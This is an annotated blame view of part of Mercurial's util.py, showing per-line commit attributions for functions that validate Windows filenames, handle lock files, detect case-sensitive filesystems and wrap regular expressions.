11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1655 return hardlink, num
11254 640d419725d0 util.copyfiles: don't try os_link() again if it failed before Adrian Buehlmann <adrian@cadifra.com> parents: 11010 diff changeset	1656
34069 ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1657 _winreservednames = {
ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1658 'con', 'prn', 'aux', 'nul',
ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1659 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1660 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1661 }
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	1662 _winreservedchars = ':*?"<>\|'
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1663 def checkwinfilename(path):
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1664 r'''Check that the base-relative path is a valid filename on Windows.
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1665 Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1666
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1667 >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1668 >>> checkwinfilename(b"foo/bar/con.xml")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1669 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1670 >>> checkwinfilename(b"foo/con.xml/bar")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1671 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1672 >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1673 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1674 "filename contains 'AUX', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1675 >>> checkwinfilename(b"foo/bar/bla:.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1676 "filename contains ':', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1677 >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1678 "filename contains '\\x07', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1679 >>> checkwinfilename(b"foo/bar/bla ")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1680 "filename ends with ' ', which is not allowed on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1681 >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1682 >>> checkwinfilename(b"foo\\")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1683 "filename ends with '\\', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1684 >>> checkwinfilename(b"foo\\/bar")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1685 "directory name ends with '\\', which is invalid on Windows"
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1686 '''
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1687 if path.endswith('\\'):
0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1688 return _("filename ends with '\\', which is invalid on Windows")
0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1689 if '\\/' in path:
0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1690 return _("directory name ends with '\\', which is invalid on Windows")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1691 for n in path.replace('\\', '/').split('/'):
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1692 if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1693 continue
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	1694 for c in _filenamebytestr(n):
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	1695 if c in _winreservedchars:
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1696 return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1697 "on Windows") % c
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1698 if ord(c) <= 31:
34361 f435097d13c9 py3: manually escape control character to be embedded in win filename error Yuya Nishihara <yuya@tcha.org> parents: 34358 diff changeset	1699 return _("filename contains '%s', which is invalid "
37087 f0b6fbea00cf stringutil: bulk-replace call sites to point to new module Yuya Nishihara <yuya@tcha.org> parents: 37086 diff changeset	1700 "on Windows") % stringutil.escapestr(c)
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1701 base = n.split('.')[0]
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	1702 if base and base.lower() in _winreservednames:
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1703 return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1704 "on Windows") % base
34362 7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename() Yuya Nishihara <yuya@tcha.org> parents: 34361 diff changeset	1705 t = n[-1:]
15358 a347b3614bae util: don't complain about '..' in path components not working on Windows Matt Mackall <mpm@selenic.com> parents: 15159 diff changeset	1706 if t in '. ' and n not in '..':
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1707 return _("filename ends with '%s', which is not allowed "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1708 "on Windows") % t
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1709
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	1710 if pycompat.iswindows:
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1711 checkosfilename = checkwinfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	1712 timer = time.clock
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1713 else:
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	1714 checkosfilename = platform.checkosfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	1715 timer = time.time
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	1716
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	1717 if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	1718 timer = time.perf_counter
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1719
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1720 def makelock(info, pathname):
36724 d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	1721 """Create a lock file atomically if possible
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	1722
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	1723 This may leave a stale lock file if symlink isn't supported and signal
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	1724 interrupt is enabled.
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	1725 """
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1726 try:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1727 return os.symlink(info, pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	1728 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1729 if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1730 raise
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1731 except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1732 pass
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1733
36791 1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	1734 flags = os.O_CREAT \| os.O_WRONLY \| os.O_EXCL \| getattr(os, 'O_BINARY', 0)
1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	1735 ld = os.open(pathname, flags)
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	1736 os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	1737 os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	1738
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1739 def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1740 try:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1741 return os.readlink(pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	1742 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1743 if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1744 raise
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1745 except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	1746 pass
36791 1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	1747 fp = posixfile(pathname, 'rb')
13400 14f3795a5ed7 explicitly close files Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13392 diff changeset	1748 r = fp.read()
14f3795a5ed7 explicitly close files Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13392 diff changeset	1749 fp.close()
14f3795a5ed7 explicitly close files Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13392 diff changeset	1750 return r
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	1751
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1752 def fstat(fp):
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1753 '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1754 try:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1755 return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1756 except AttributeError:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1757 return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	1758
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1759 # File system features
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1760
29893 6f447b9ec263 util: rename checkcase() to fscasesensitive() (API) Martin von Zweigbergk <martinvonz@google.com> parents: 29843 diff changeset	1761 def fscasesensitive(path):
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1762 """
18911 451eb1c27c1b util: improve doc for checkcase Mads Kiilerich <mads@kiilerich.com> parents: 18868 diff changeset	1763 Return true if the given path is on a case-sensitive filesystem
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1764
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1765 Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1766 directory component.
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1767 """
24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	1768 s1 = os.lstat(path)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1769 d, b = os.path.split(path)
15667 eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	1770 b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	1771 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	1772 b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	1773 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	1774 return True # no evidence against case sensitivity
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15609 diff changeset	1775 p2 = os.path.join(d, b2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1776 try:
24902 986a5c23b1c1 util.checkcase: don't abort on broken symlinks Siddharth Agarwal <sid0@fb.com> parents: 24692 diff changeset	1777 s2 = os.lstat(p2)
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1778 if s2 == s1:
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1779 return False
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1780 return True
14004 97ed99d1f419 eliminate various naked except clauses Idan Kamara <idankk86@gmail.com> parents: 13985 diff changeset	1781 except OSError:
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1782 return True
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	1783
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1784 try:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1785 import re2
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1786 _re2 = None
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1787 except ImportError:
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1788 _re2 = False
8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1789
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1790 class _re(object):
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1791 def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1792 global _re2
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1793 try:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1794 # check if match works, see issue3964
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1795 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1796 except ImportError:
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1797 _re2 = False
50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1798
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1799 def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1800 '''Compile a regular expression, using re2 if possible
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1801
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1802 For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1803 only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1804 IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1805 if _re2 is None:
21913 50aad4609224 util.re: move check for re2 into a separate method Siddharth Agarwal <sid0@fb.com> parents: 21912 diff changeset	1806 self._checkre2()
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1807 if _re2 and (flags & ~(remod.IGNORECASE \| remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1808 if flags & remod.IGNORECASE:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1809 pat = '(?i)' + pat
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1810 if flags & remod.MULTILINE:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1811 pat = '(?m)' + pat
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1812 try:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1813 return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1814 except re2.error:
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1815 pass
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1816 return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1817
21914 10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1818 @propertycache
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1819 def escape(self):
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1820 '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1821
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1822 This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1823 function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1824 '''
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1825 global _re2
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1826 if _re2 is None:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1827 self._checkre2()
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1828 if _re2:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1829 return re2.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1830 else:
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1831 return remod.escape
10e99839a7a4 util.re: add an escape method Siddharth Agarwal <sid0@fb.com> parents: 21913 diff changeset	1832
21908 cad9dadc9d26 util: move compilere to a class Siddharth Agarwal <sid0@fb.com> parents: 21907 diff changeset	1833 re = _re()
16943 8d08a28aa63e matcher: use re2 bindings if available Bryan O'Sullivan <bryano@fb.com> parents: 16873 diff changeset	1834
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1835 _fspathcache = {}
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1836 def fspath(name, root):
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1837 '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1838
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	1839 The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	1840
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	1841 Note that this function is unnecessary, and should not be
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1842 called, for case-sensitive filesystems (simply because it's expensive).
15670 d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15669 diff changeset	1843
15710 f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15709 diff changeset	1844 The root should be normcase-ed, too.
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1845 '''
23097 30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	1846 def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups Siddharth Agarwal <sid0@fb.com> parents: 23076 diff changeset	1847 return dict((normcase(n), n) for n in os.listdir(dir))
15709 a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 15674 diff changeset	1848
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	1849 seps = pycompat.ossep
30630 bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	1850 if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep Pulkit Goyal <7895pulkit@gmail.com> parents: 30618 diff changeset	1851 seps = seps + pycompat.osaltsep
6676 33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1852 # Protect backslashes. This gets silly very quickly.
33045179d079 Add a new function, fspath Paul Moore <p.f.moore@gmail.com> parents: 6595 diff changeset	1853 seps.replace('\\','\\\\')
31503 670166e0fcaa util: use bytes re on bytes input in fspath Augie Fackler <augie@google.com> parents: 31502 diff changeset	1854 pattern = remod.compile(br'([^%s]+)\|([%s]+)' % (seps, seps))
